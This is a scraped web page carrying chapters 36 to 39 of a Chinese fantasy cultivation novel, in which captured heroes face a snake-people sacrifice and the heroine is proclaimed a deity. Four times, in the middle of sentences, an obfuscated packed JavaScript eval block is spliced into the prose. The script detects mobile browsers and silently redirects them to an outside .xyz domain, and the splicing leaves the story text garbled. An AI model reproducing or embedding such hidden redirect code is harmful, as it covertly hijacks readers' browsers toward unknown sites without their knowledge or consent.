;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840356|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忽然,她睁开眼,选择了暂时不去理会灵力的异常,起身对一旁心急如焚的聂棋缘说道:“你我修为不足,即使去了也未必能帮上忙,我们应当另作打算。”
也许是祝来月的冷静镇定打动了聂棋缘,她迫使自己也一样平静下来,“可是我们还能做什么?”
“声东击西。”她的眼神直直地盯着不远处那四条庞然大物。
既然四蛇是守卫此地的护卫,那么若是有人已然闯了进去,它们势必不会罢休。
哪怕只能吸引一条蛇的注意,他们的胜算也能多上几分。
“声东击西?”聂棋缘重复了一遍这四个字,仍旧难以理解她究竟要做什么。
祝来月没有回应她的疑惑,而是自龟背之上跃下,躲在旋风之后,聂棋缘连忙跟上。两人顿时处在四蛇的盲区之中。
刚躲好时,祝来月丝毫不含糊,立刻操纵体内的灵力,凭空捏了一道法诀,突然,从轩辕丘的方向传来了一声巨响。
聂棋缘不敢冒头去查看究竟发生了什么事,只是紧张地期待着祝来月的方法奏效。
祝来月再次闭起双眼,以灵力感受着不远处的发生的变故。
不出她所料,她能够控制轩辕丘之上的树木的走向,于是在她灵力的操纵之下,几棵树木应声倒下,发出巨响。
四蛇敏锐无比,哪怕是小小的变动也能引起它们的注意,何况那声异响传来之处竟然有陌生的灵力气息。
风蛇与火蛇毫不犹豫地朝着几棵树木倒下之地游窜而去,留下水蛇与地蛇继续与贺今羽他们战斗。
为了使有人闯入的假象更加逼真,祝来月操纵那些树木按照一条路线的形式挪动、倒下,但她体内的灵力毕竟还在躁动,所以并不十分听话,那些树木的变动显得更加杂乱无章。
但这已经足够引开它们了。
四蛇只余二蛇,形势陡然转变了。
贺今羽不可能错过这完美的转机,他不去追究究竟发生了什么事,而是极其迅速地竖起白羽剑,接连刺出数剑。
天地寒!
这原先是一剑制敌的招数,曾经在流织谷时便是用了这招制服情噬树。
但此刻贺今羽将此招与狂澜的特点相结合,以无数道天地寒的剑意破空而去。
水蛇根本来不及抵抗,只因它终究是由诸水而凝成的巨蛇,在天地寒那刺骨冰冷的剑意之下瞬间凝结成冰,砰然倒地。
羿修自然是不甘其后的,他再次凝聚起拳意,向右手之拳倾注最后的力量,然后猛然朝着最后那条坚硬无比的地蛇击出一拳。
即使地蛇拥有四蛇中最坚硬的鳞甲,但却无法抵抗这道倾尽无数灵力的刚猛之拳。
地蛇倒在地上,最后的力量只够它喘息片刻。
而施展出这两招的两人此刻同样是精疲力尽,无力再战。
为了避免地蛇还有死灰复燃的机会,景怀卿毫不犹豫地补上了一剑,直到确认地蛇躺在地上毫无生机时,才终于放下心。
四蛇本就意念相连,水蛇与地蛇一败顿时使追逐着“不存在的入侵者”的二蛇察觉到中了计。
风、火二蛇愤怒至极,大声嘶喊着,那声音恐怖凄厉,叫人毛骨悚然。
36. 轩辕
怒极的双蛇迅速回头,再次来到山脚处,但此刻三人基本没有了反抗之力。
只有景怀卿一人还留有一些余力,但他一人怎么可能对付得了双蛇?
祝来月眼见情势又不乐观起来,但此时再怎么声东击西都没有用了。
五人连同大龟都被双蛇倾力一击所打晕,在祝来月将要失去意识之前,看见那两条本该没有了生命迹象的地、水二蛇竟然从原地支起了巨大的蛇身,四蛇再次围成一个圈,将他们包围在内。她便在狠戾的八只蛇瞳的注视下彻底昏厥过去。
在他们昏厥之后,从森林中窜出了轩辕丘之人。
他们手中举着各种武器,诡异的是,他们都没有双腿,身下只有一条长长的蛇尾。
五人昏厥了一日一夜,再度醒来时,发现自己身处一个阴暗潮湿的地方,像是一个洞穴,地面呈缓缓的斜坡式,他们处在洞穴的最底处。
祝来月坐起身,身上盖着的厚衣滑落至腿上,她这才感受到洞穴中的阴冷,于是迅速将那件来历不明的厚衣再次披在身上。
旋风同样也在洞穴的最底部,它趴在那里,看到主人转醒时,屁颠颠地小跑过去蹭蹭羿修。
也许是注意到洞穴内的动静,忽然有两道身影从洞穴上边沿着斜坡迅速向下,声音很轻,速度却奇快。
直到他们到达洞穴底部,站在众人的面前时,他们才借着洞穴内葳蕤的烛光看清了那两“人”的面貌。
两个蛇人。
他们的上半身与常人无异,但下半身赫然是彻彻底底的蛇身。
这两个诡异之人悄无声息的出现显然吓了聂棋缘一跳。
“你们是什么人?为何擅闯我轩辕丘?”蛇人中的一个问他们道。
“别和他们废话,你看他们下半身长这么奇怪,定然是什么妖魔鬼怪。”另一个蛇人提议道。
祝来月想到其中也许有什么误会,立刻向那些怪异的蛇人解释道:“我们绝无恶意,只是想来此找两个人。”
“什么人?和你们长得一样吗?”蛇人反问道。
得到祝来月肯定的答复之后,蛇人又说:“轩辕丘近年只有你们五个妖物闯入。”
他们还是头一次被称作“妖物”。祝来月想反驳,但又一想,这轩辕丘之上的生灵皆是蛇尾,在他们眼中,自己确实才是奇怪的人。
但他们说的没有其他人闯入一事更是蹊跷,白羽剑和流星坠之间的感应不会有错,它给大家指的路分明就通向这怪异的轩辕丘。
“都说了不要和妖怪废话了。”另一个蛇人急躁地催促道,“三日后就是祭天仪式,自己送上门的祭品我们绝对不能放过。”
祝来月还想解释些什么,然而那个急促的蛇人直接拉着另一个蛇人离开了洞穴。
正在为此事焦急时,她听到聂棋缘忽然惊呼了一声,循声望去,只见她半蹲在贺今羽身边,而他竟然没有转醒。
地穴之中光线昏暗,她定睛一看,才发现贺今羽的身下竟然全是血液。
几人听到她的声响,连忙走向昏迷不醒的贺今羽。
“他的伤根本没好。”祝来月和聂棋缘一起揭开他身上的衣服,发现他之前在灵霄宗时受的旧伤又一次裂开了。
他本就因为旧伤未愈还要强撑着和羿修对决,导致伤势加重,霜鸣原的这一路来,他也几乎未曾停过战斗,伤势严重至此也实属正常。
“棋缘,我们先给他上药吧。”祝来月面色沉重地说。
聂棋缘立刻去掏身上的袋子找伤药,但掏了半天,却发现她原本用来存放各种药品的袋子中空空如也。
“药不见了。”她的话中甚至有几分哭腔,十分着急。
只能是那些蛇人将药都收走了。祝来月心想。
忽然,她想到了什么似的,将手伸进衣袖之内,摸到藏于袖内的残片还在原处时便松了口气。
“棋缘,你先别急,你可会疗愈之术?”
聂棋缘面色犹豫,“疗愈之术我学得不多。”
倒不是因为她不愿意学,而是她生来便学不会那些疗愈的术法,只能尽力学一些医药之理。
聂家在百姓之间出名是因其深谙医道,而她们在江湖中出名则更多的是因为她们不外传的秘法和生来就会的疗愈之术。
但聂家总会有那么几个生下来就学不会疗愈术的后代。
聂棋缘就是其中一个。
所以母亲才让她另外修炼灵力防身。
但总归还要试试,她默念自幼便开始学习的法诀。
虽然作用不大,但好歹贺今羽的大量出血算是止住了,也暂时脱离了生命危险。
接着,便由四人轮流为他注入灵力,以维持他的心脉,能够使他尽早自愈。
贺今羽的问题解决之后,眼下最要紧的事便是离开此地。
这些蛇人也许不足为惧,但那四条巨蛇却不可小觑。
祝来月仍然记得昏迷之前那两条死而复生的巨蛇。如果仅仅只是力量强悍倒也罢了,偏偏还是不死不灭之身。
对,不死不灭。
这四个字让她不禁想起了一个族群。
全天下唯有那一个族群可以称得上不死不灭四个字。
神。
这天地间长生的族群太多,例如仙族、妖族等都有比人族要长久许多的寿命,但唯有神族是真正的不死不灭。
神族诞生于天地之间,与天同寿,与地同亡,唯有天地毁灭、万物消殒的时刻,神才会跟着死去。
但这里是人界,人界有自己的法则之力,哪怕是神也不能更改,那四条蛇的存在分明违背了人界的法则。
祝来月百思不得其解,据她了解的人、妖二两界的生灵中找不到任何一个与之相关的存在。
“祝姐姐?”
聂棋缘的声音打断了她的沉思,她回过神看见她的双手在眼前来回晃动,“怎么了?”
“你刚刚走神了好久诶,我们在谈逃出去的方法,你听见了多少呀?”聂棋缘眨眨眼,问她。
其实祝来月是一句都没听见的。
看到她的反应,聂棋缘也明白了这一点,于是拜托景怀卿言简意赅地再复述一遍要点。
在听他叙述完之后,祝来月一只手托着下巴,沉吟不语,就在聂棋缘以为她又走神时,她才说道:“你们说得没错,但要在三日之内离开此地十分困难,而且我们的目的是找到璃儿和聂琴机姑娘,若是无功而返岂不是可惜了?”
“可蛇人不是说这里没有别的人了吗?”羿修反驳道。
“可我们怎样确定他们所言非虚?”祝来月反问羿修,“霜鸣原已经是人界的极北之地,白羽剑的指向一直朝着正北方,经过轩辕丘之后是否还有路可走,羿公子,你在霜鸣原长大,这一点
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853825|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你应当比我们更清楚。”
她的话让羿修不禁沉默下来,“确实没有。”
这时,景怀卿说道:“祝姑娘的意思是师妹她们就在轩辕丘吗?”
“目前为止,只有这一种可能。”
“就不可能在妖界吗?我记得之前这个天下第二说过,轩辕丘是人界与妖界的交界之地,是妖界的一个入口。”聂棋缘说道。
其实聂棋缘说的这个可能性,在进入轩辕丘之前,祝来月是有设想过的。但踏进轩辕丘的领地之后她就彻底打消了这个念头,只因妖界入口有一个最为显著的特点,而这个轩辕丘并不具备。
凡妖界入口之处,必然天象紊乱,人族之气与妖族之气混杂,最重要的是,人、妖两界交界之处,无论是人是妖都不能在此长久居住。
祝来月正准备提醒她是否忘记了这关键的一点时,忽然再次感受到经脉之中的灵力紊乱,她的右手捂着心脉之处,脸唰一下就白了,看上去十分痛苦。
聂棋缘连忙上前去搀扶住她,使她尽量保持静止状态,接着将手搭在她的右手的脉搏之上,探完她的脉象之后,她一脸疑惑地说道:“脉象平和有力,没什么异常啊?”
她收回手时,忽然发现祝来月的衣袖之内竟然发出了微光,这在较为昏暗的地穴之中显得十分明显。
祝来月本人也发现了这一点,她暗藏在衣袖之内的东西只有一件。
她站稳身形,克制住经脉内的躁动,伸手取出了那块残片。
果然是它在影响着自己。祝来月看着残片散发出的青色微光想到。在轩辕丘之外时恐怕也是如此,难道轩辕丘里有什么能吸引残片的东西存在么?
总之无论是因为祝未璃她们、又或者因为残片的异常,她都认为不能草率地决定逃离轩辕丘。
但三日之后的祭天仪式对她们来说也很危险,所以坐以待毙也不可能。
好在灵力躁动一阵后还是归于平静了,正在她思考最好的解决方案时,忽然抬眸看见那盏油灯附近的石壁上似乎有一些线条,像是一种图案。
因为油灯的烛台是摆在一个壁挂式的小台子上,距离石壁墙面很近,因为灯下黑的原理,所以众人反而没有第一时间注意到那些石壁上的壁画。
祝来月走了过去,举起那盏火光微弱的油灯,在距离石壁一拳距离之处仔细查看这些图案的模样。
众人也跟着一起看石壁上奇异的图案。
那图案看上去很是零散,像是几幅画裁剪下一部分然后毫无章法地拼接起来的模样。壁画以雕刻的形式存在在石壁之上,经过几人的仔细观察,发现大致分成了三个部分。
一是在这个壁画之中占比最大的,一座极其高耸的大山,与寻常的大山无异,但雕刻的手法实在令人不敢恭维,简直像是孩童的简笔画似的。
二是一棵几乎与山同高的参天巨树,和那座大山的距离不近不远,看上去十分诡异。
三是位于大树之下的一片湖泊,距离那棵大树也有着不近不远的距离,而这个湖泊也被许多树木包围着,但那些树木看上去就像是正常树木应有的比例存在于壁画之中,比起那棵参天巨树要小上不少。
“这个场景我见过。”一道声音打断了几人的思考,他们回过头去,发现贺今羽不知何时已经醒了,并且同他们一起在看着这幅技艺不精、比例极度不协调的壁画。
37. 食物
“你醒了?怎么不歇着?”自从妹妹失踪之后,她就很少展露笑容了,不过看到贺今羽安然无恙地转醒还是不免有些喜出望外。
“我没事。”贺今羽回答道。
聂棋缘身为一个医者,立刻表示了对一个病人自以为是的不赞同:“贺大哥,你出这么多血怎么会没事?我才是大夫。”
说着,她就要拉他到地上坐下。
他原想继续表示自己没有大碍,却拗不过众人一致的态度,只好先坐下,再将方才说的话解释了一下。
“我在祝来月的魇境中见过相似的场景。”
此话一出,所有人都看向了祝来月。
在场除了羿修不知道祝来月之前中了惑心魇之事,其余都对此事印象深刻。
偏偏祝来月自己对魇境内发生的事和场景一点记忆都没有。
“我的魇境?”她好奇地问道。
贺今羽闻言点头,他向祝来月简单描述了魇境中大致的情景,不过忽略了许多不必要的细节:比如说某人和她谈天说地吐露真心什么的。
听完之后的祝来月越发觉得事情太过蹊跷,“我的心魇怎么会与轩辕丘地穴中的壁画有关?”而且残片的异常目前也没有得到一个合理的答案。
她可以确定自己从来没有来过轩辕丘,哪怕是残片融合之后,时不时会在她脑海中闪现的画面也不曾有过什么巨蛇、蛇人的。
祝来月不禁想到自己未解的身世之谜。
难道自己的身世能在轩辕丘找到答案吗?
突然,她似乎想到了什么似的,三步并做两步再次站在石壁之前,一只手举着油灯照亮壁画,另一只手再次取出残片,将木片上面残缺的图案与石壁上的图案进行对比,发现竟然极其神似,也许在镌刻手法上有着明显的差异,但并不影响她看出这两个图案描述的是同一个场景。
那么,眼下最有可能的事就是:这里也有木雕残片之一。
这也就能够解释祝来月为什么一靠近轩辕丘就灵力躁动。
———
此时五人都清醒着,便再次聚在一起讨论目前的情况。
直到那两个蛇人再次悄无声息地出现在地穴之中,好在贺今羽五感灵敏,提前发现了,也就避免了蛇人听见他们的谈话内容。
两个蛇人给他们带来吃食,其中甚至还有旋风的份。也许是因为他们不希望难得的祭品被饿死。
有饭吃当然还是要吃的,首先要保证存活,才能考虑脱险一事。
于是几人也不客气,打开了食盒就准备先填饱肚子再说。
但一打开食盒,五人乃至一龟都有一种被震碎的感觉。
他们下意识地咽了咽口水,在那忽明忽暗的烛光之下,赫然是一只老鼠形状的“晚膳”,而且看上去绝对新鲜。
只因那只大约是老鼠的生灵还在冒着鲜活的血,看上去才死去没多久。
负责打开食盒的景怀卿默默地将食盒的盖子再次盖上了。
其实修行之人,饿上几日又有何妨呢?
五个人一致赞同了这个决定,任由他将食盒摆到一个他们看不到的角落去,眼不见为净。
在地穴之中不见天日,于是也无法确定时辰,他们都无法确定究竟过了多久。
“要是能有个灵器能看时辰就好了。”聂棋缘忽然想到。
但身上的东西全都被蛇人拿走了,所以要将那些东西拿回来也成了一个问题。
别的倒也无妨,即使丢了也不可惜。只是景怀卿的随身佩剑玉剑也被蛇人收走了。
一旁的羿修还嘲笑他说:“幸好我们震云派以双拳为武器,抢不走。”
但奇怪的是,贺今羽的白羽剑却并没有被蛇人夺走,聂棋缘还专门提了这茬,实在想不通为什么蛇人不要白羽剑。
关于这个问题,贺今羽也不清楚理由。
但祝来月和景怀卿却给了聂棋缘答案:“他即使昏迷也仍旧死死地攥着白羽剑,恐怕那些蛇人费了很大的力气也没能抢走吧。”
羿修一听这话,立刻就来劲了,要知道震云派可是以绝对的力量著称于江湖的,他便提议要从贺今羽手中夺走白羽剑试试。
贺今羽淡淡地说了句:“无聊。”并不理会他的兴致勃勃。
但是其余三个人竟然不约而同地看向他,并且无一例外地露出了好奇的神情。
羿修也不在乎他究竟是答应还是拒绝了,二话不说,直接大跨两步冲向贺今羽,伸手就要去抢他手上的白羽剑。
震云派之人确实是以力量著称不错,若是贺今羽真与他较量力气,说不准是会败下阵来。
但前提是,羿修真能抓到他的白羽剑。
只见一个呼吸之间,贺今羽轻轻一转身躲开了他的猛扑,之后无论他怎么努力,别说白羽剑了,连贺今羽的衣角都碰不着。
惹得聂棋缘连连笑话他自讨没趣。
一番活动过后,羿修觉得疲倦,索性也不去追逐贺今羽,而是坐在地上唉声叹气。
灵霄宗之人有辟谷的习俗,但震云派没有。不仅没有,震云派还个个都是饭量极大的人物,一个人能吃三个人的量。
尤其是羿修,自从那天出门巡逻,遇上他们之后又不停歇地夜行霜鸣原,又是与巨蛇搏斗,不仅没有好好休整一番,更别提什么吃饱喝足了。
上次挨饿还是前往妖界捉拿玄捷龟那会儿。
但妖界好歹还能有些吃的,果子也好、妖兽也好,总不至于如今这般一无所有。
不,一无所有还罢了,偏偏眼前所拥有的食物是一个让人持有怀疑态度的东西。
第一天就这么浑浑噩噩地过去了,不仅没找出逃脱路线,还没满足口腹之欲。
也许靠贺今羽和羿修能从蛇人中杀出去,毕竟连昏迷时贺今羽手上的白羽剑都夺不走之人想来实力也没有多强大。
但让人担心的是镇守轩辕丘的四条巨蛇。
贺今羽的状态哪怕是与蛇人对上恐怕也只能硬撑,更别提他们本就对付不了的四蛇。
但那些蛇人似乎对地穴中祭品的看守十分重视、紧密,从地穴上方时不时会传来一些蛇尾游走时发出的声响,尽管那声音很轻微,但仔细听还是能够感受到这个囚牢的密不透风。
几人皆不知过了多少个时辰,直到蛇人又一次出现,那时他们中有一部分醒着,另一部分则是太累了睡着了。
蛇人找到置放在角落中的食盒,很快就发现了他们竟然一口都没吃。
他们其中一个一脸惋惜地看着食盒里的食物,看上去泫然欲泣,只不过这眼泪似乎并不是从眼角落下,而是更下边一点的位置——嘴角。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862301|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
另一个则是愤怒地指责他们:“你们是认为饿死就可以不用做祭品了吗?”
经过那个蛇人愤怒的咆哮之后,睡着的聂棋缘和羿修也醒了过来,眼神朦胧地反映着面前发生的事。
其实祝来月和贺今羽他们是挺想反驳一下,他们没有要饿死自己的意思,只是单纯的不习惯吃生的老鼠。如果那真的是“老鼠”的话。
但从蛇人愤怒的神情中他们也看出蛇人绝对没有要和他们说笑的意思,他们只能是默默地看着蛇人接下来要做什么。
本以为蛇人会继续大发雷霆,结果却出乎意料,他们眸色复杂地问面前的五个人,问出了令所有人都意想不到的问题:
“你们想吃什么?”
虽然他们的表情依旧带了几分仇视,语气也依旧冷冷的,但这句话无疑是关心的一种。
尽管祝来月想不通蛇人这态度的反差,但她也不至于天真到以为蛇人的关心会是出于好意。
也许其余人和她有着相同的顾虑,所以当蛇人问完之后竟然没有一个人回答了他的问题。
于是,蛇人第二次发问:“难道你们真打算死之前不吃任何东西么?”
他们之中饿得最煎熬的羿修在听完这话后终于忍无可忍,干脆开始了报菜名:“酱猪蹄、叫花鸡、滚肉、鲈鱼烩……”
蛇人也忍无可忍,直接打断了他的话:“难以理解!”
蛇人生在轩辕丘,长在轩辕丘,哪儿听过什么菜名儿呢?
祝来月大抵是理解了他们和自己之间存在着最基本的认知上的差异,就像蛇人会看着生肉流涎,而自己却只想反胃一样,他们是无法想象烹饪的。
所以她向羿修提醒了一句,在他理解后,才告知蛇人自己是不吃生食,最起码也要用火烤熟才行。
蛇人在听完之后便离开了地穴。
“难道他们还真的会专门去为我们弄吃食吗?”被吵醒后的聂棋缘睡意全无,干脆同他们聊了起来。
“谁知道呢?”羿修靠着旋风,许是因为饿得厉害,他的双目都有些失神了,直愣愣地看着前方。
没出多久,蛇人再度返回地穴,这次手上依旧拿着一个食盒,但与之前那次不同的是,众人可以清晰地闻到食盒里传来的香味。
蛇人将食盒放在地上,往后退了几步,并不言语,但意识却很明确:饭来了,吃吧。
他们之中最激动的当属羿修,他几乎是在蛇人放下食盒的同时就从地上站了起来,接着便极其迅捷地冲到了食盒边上,第一个打开了食盒。
好吧,尽管食盒里并没有什么酱猪蹄叫花鸡之流的名菜,只有一只烤熟的食物,看形状大约是兔子一类的动物,并且看上去还有几处焦黑。
但一切总比没有要好。
羿修毫不客气地将食物从食盒里取出,扯了一条烤得焦黄的腿便往嘴里送,还不忘将其余的部分递给剩下的几人。
聂棋缘接过食物,转头先对他们说:“你们先吃吧。”说着,便要将兔子递给祝来月。
贺今羽只是看了一眼食物,便扭过头表示自己并不想吃。
而后祝来月她们和景怀卿就瓜分了剩下的食物,不过他们并没有忘记一样饿着肚子的旋风,也分了一部分给它。
蛇人在确认他们吃了食物之后就满意地离开了地穴。
38. 祭天
蛇人走之后没多久,他们就将那只大约是兔子的食物吃干抹净了,毕竟这点食物对于四个人再加上一只大龟来说确实是少得可怜。
虽然口感和火候都属欠佳,但他们经过长时间的饥饿之后,难得吃到一点东西还是觉得有些意犹未尽。
若不是贺今羽坚决表示不吃,恐怕每个人能分到的食物还要更少一些。
但吃完之后没多久,羿修忽然觉得身上一阵乏力,紧接着,景怀卿、聂棋缘也相继出现了一模一样的症状。他们顿时反应过来那两个该死的蛇人竟然在食物里下了药。
这也就能够解释蛇人这样关切他们吃什么的缘由了。
但出乎意料的是,祝来月似乎毫无被下药的迹象。
景怀卿不禁想起大约二十天之前,他和祝来月在风摇尽里发生的事。她被含有剧毒的银煞蛇咬穿了手心,现在看还有淡淡的伤痕,但却并未受到蛇毒的影响。
而且那种贯穿伤,就算是用了聂家引以为傲的药敷过,也好得实在太快了一些。
发现异常的不仅仅是景怀卿,她自己也同样察觉到了。
之前因为风摇尽之后一直接连不断地遇上各种事,还没来得及细想为何她能够不受银煞蛇之毒的影响,但如今看来,对她没有效果的不仅仅是蛇毒。
想到此处,她下意识地用左手覆在留有蛇牙刺穿痕迹的右手掌心之上,看上去忧心忡忡。
但无论如何,眼下的情况恐怕是难以从轩辕丘逃脱了。
之后蛇人还是会给几人按时送来烤熟的食物,但有了前车之鉴之后,几人都不愿意再吃半口。蛇人见状,说道:“你们不愿吃也无妨,不过你们中的是我族最厉害的软筋散,没个十天半个月是好不了的。所以这里面我们并没有再放什么进去。”
蛇人说完之后,便再次离开了地穴。
羿修看着散着热气的食盒,犹豫不决一阵后,终于下定决心:“中都中了,再吃点!”
聂棋缘闻言想去拦他,“谁知道蛇人有没有骗我们……”
但她终究还是没能拦住,看他“以身作则”地吃了一部分之后并没有出现加重的症状或是别的什么表现,几人也干脆地瓜分了剩余的食物。
唯有贺今羽一人不愿吃一口东西。祝来月自然明白他的用意,暗自将自己的那份让给了贺今羽,并对他说道:“这里面应当是真的没有任何问题,我们之中只有你我还未中软筋散,不过我的修为不足,届时还需你来带我们脱险。”
她的意图也很简单,只是希望他能吃点东西,稍微多恢复一些气力,也就多一分机会离开蛇人盘踞之地。
贺今羽接过食物,一分为二,将稍微多一些的那份再度递回给祝来月。
之后他们靠着蛇人送吃食的频率大致判断出了过了多久,地穴中阴湿寒冷,蛇人送来的食物也不够他们分享,饥寒交迫的煎熬中,第三日缓慢地到来了。
这一日,他们第一次见到除了平时给他们送饭的两个蛇人之外的蛇人,他们的上半身与常人无异,蛇人群中有男有女,但下身是无一例外的蛇尾。
所谓的祭天仪式并没有他们想象得那么隆重,甚至不如祝来月曾经在荣州城参加的上巳节的祓禊仪式那样热闹人多。仔细观察,发现居住在轩辕丘的蛇人大约刚过百人,不过是一个村庄的规模罢了。
令祝来月感到好奇和意外的是,那四只巨大无比的蛇并没有出席这场在蛇人之中十分重要的祭天仪式。
一行人被几个蛇人押解至轩辕丘之顶端的平台之上,此刻万里无云,晴光正好,是个极好的天气,刚刚脱离出地穴的阴暗环境时,几人皆因阳光的刺眼而短暂地失明了一阵。在这样祥和平静的晴天实在不适合赴死。
尽管四蛇明面上未曾现身,但难保它们没有藏于暗处保护着祭天的秩序。
经过三日的休养,贺今羽的伤势虽说并没有完全恢复,但也好了个七七八八,总归是有几分机会逃出去的。
接下来就只需要静待时机即可。祝来月心想。他们在地穴中时并没有完全坐以待毙,而是认真讨论了出逃的方案与可能性。
但下一秒,什么方案、时机皆被她抛之脑后,只因这件东西的出现实在不得不让她震惊到大脑一片空白。
在举行祭天仪式的平台正中央有一张长案,案上赫然正是祝来月再熟悉不过的残片之一。
她忽然感到体内的经脉又开始躁动,而且情况比起从前的几次都要更加剧烈许多。
祝来月一边惊讶一边小心观察着蛇人们的一举一动,只见蛇人族群中为首的一位蛇人走到放置残片的木案之前,态度十分恭敬地对残片行礼。他们的姿势怪异,想来是蛇人族群内独有的方式。
发现蛇人对那块小小的木雕残片似乎有着格外尊敬的态度时,祝来月忽然又想起残片之间自有联系,于是强忍经脉的躁乱,避开蛇人的看押,悄悄地取出了藏在袖子内的残片。
接着她轻声念咒,意念一动,手上的残片与蛇人簇拥着的案上的残片之间仿佛连接起来了,下一秒,那块残片当着整个蛇人族群的面朝着祝来月飞来。
就在众人还没能反应出来究竟发生了什么事时,她手上较大的残片与那块较小的残片飞速融合,汇成一体。
做这个决定,祝来月是抱着一种“豁出去了”的心态的,毕竟上一回融合她获得的第四片残片时,险些要了她的性命。
但融合之后,想象中的剧痛或者昏迷之类的痛楚并未降临,恰恰相反,她忽然感到脑海一片澄澈,浑身上下的经脉中都充斥着漫溢的灵力。
这时,在众目睽睽之下,祝来月竟然浑身散发出一种柔和的微光,霎那间,整个轩辕丘与霜鸣原的寒冷散尽,取而代之的是如同春日般温暖的和煦气候。
轩辕丘与霜鸣原因地理位置的原因,一直处于永冬之季。羿修去过别的地方所以知道人界总分四季,但蛇人族群不同,他们自有记载以来便一直居住在轩辕丘之上,从未领略过什么温暖。
在感受到那金黄色的阳光中竟然是温热的时,蛇人们都愣神了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872549|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
但现场愣神的不只是一百多号蛇人,还有茫然不解的贺今羽一行人。
发生了什么事?
此刻,祝来月正沉浸在残片融合之后带给她的强大力量之中,当她从这股温暖的力量中回过神来时,她的身前竟然跪满了密密麻麻的蛇人。
而不远处,能看见那四条代表着地水火风的四蛇也伏下了它们硕大的蛇头,虽看不出蛇的神色,但明显能察觉到它们有着同蛇人族一样的忠诚。
这回轮到祝来月本人茫然不解了。
发生了什么事?
但她很快稳定了疑惑的情绪,转头看向了仍然在震惊中未能回过神的伙伴们,希望能从他们的表情中找出点线索。
但一行人除了贺今羽在疑惑之外多了些许复杂的神色,竟然齐刷刷地露出一副被震撼到说不出话的表情。
看来是不能从他们那得到什么有用的信息了。
蛇人族为首那人,看上去年纪略大,应当是蛇人们的族长之类的人物。
她对着祝来月行了一个诚意十足的礼,虽然她貌似已经老到声音都颤颤巍巍,但行礼这事却是丝毫不含糊,干净利落。
行完礼后,族长说道:“尊神大人,您终于出现了。请原谅我族之前的失礼。”
她的话音刚落,蛇人族齐齐喊道:“请尊神大人原谅我族!”
尊神大人?谁?
但看他们跪的方向也只有祝来月一人。
祝来月对这突如其来的尊敬有些措不及防,她对着族长说道:“抱歉,我无法理解你们的意思。”
族长闻言,和身侧的另一个有着德高望重模样的老蛇人相视一眼,便对祝来月述说了这一切的来龙去脉。
蛇人族自有记载以来,便一直居住在轩辕丘之上。
而祭天仪式是他们族群几百年以来的传统,每百年便举行一次,今日正好是第七次。
这片残片是他们族群的圣物,祭天仪式中,他们能够靠这块残缺的木片与传说中的神界沟通。
而蛇人族的祖先是如何得知此事、又是如何得到残片,皆已经失传了。
他们只知道,每一回天神现世时,都会嘱咐他们同一件事:
等待残片的主人出现。
“只要残片的主人出现,天下便可太平。”
族长说完这最后一句时,聂棋缘不禁觉得她说的所有话都太过荒诞,“可这天下一直都很太平啊?”是的,人界近些年没有战乱、更无天灾,堪称是太平盛世。
“不太平。”贺今羽说道。
这件事没有人能够比他更有体会了。
他拼尽全力没日没夜地练剑、修炼,最主要的就是为了彻底消灭七百年前为祸人间的凶兽。
被那名前无古人的天下第一剑侠封印在戾杀渊的极恶之兽。
要想达到蛇人族族长口中的天下太平,必须要将那只蠢蠢欲动的凶兽彻底消灭才行。祝来月也明白这一点,但她实在无法将自己和消灭凶兽这件事联系起来。
39. 渡海
族长为了加强这种特殊性,还特意补充了一句:“这件事,只有尊神大人您能够做到。”
“可我并不是神,只是一个修为平平的普通人。”祝来月下意识地反驳了她,但这句话说完,就连她自己都犹豫了。
普通人会和来历不明的木雕残片有着千丝万缕的联系吗?普通人会身中剧毒或者迷药却毫无反应吗?
族长见她神色犹豫,露出了微笑。
这之后,尽管祝来月仍旧不知道自己的真实身世,也不知道自己要怎么样才能消灭凶兽使天下太平,更不知道自己究竟想不想要承担这样巨大的责任。
毕竟她一直坚信着,世上绝对没有生来便必须背负的责任,并且还依照这个信念去劝解过贺今羽。
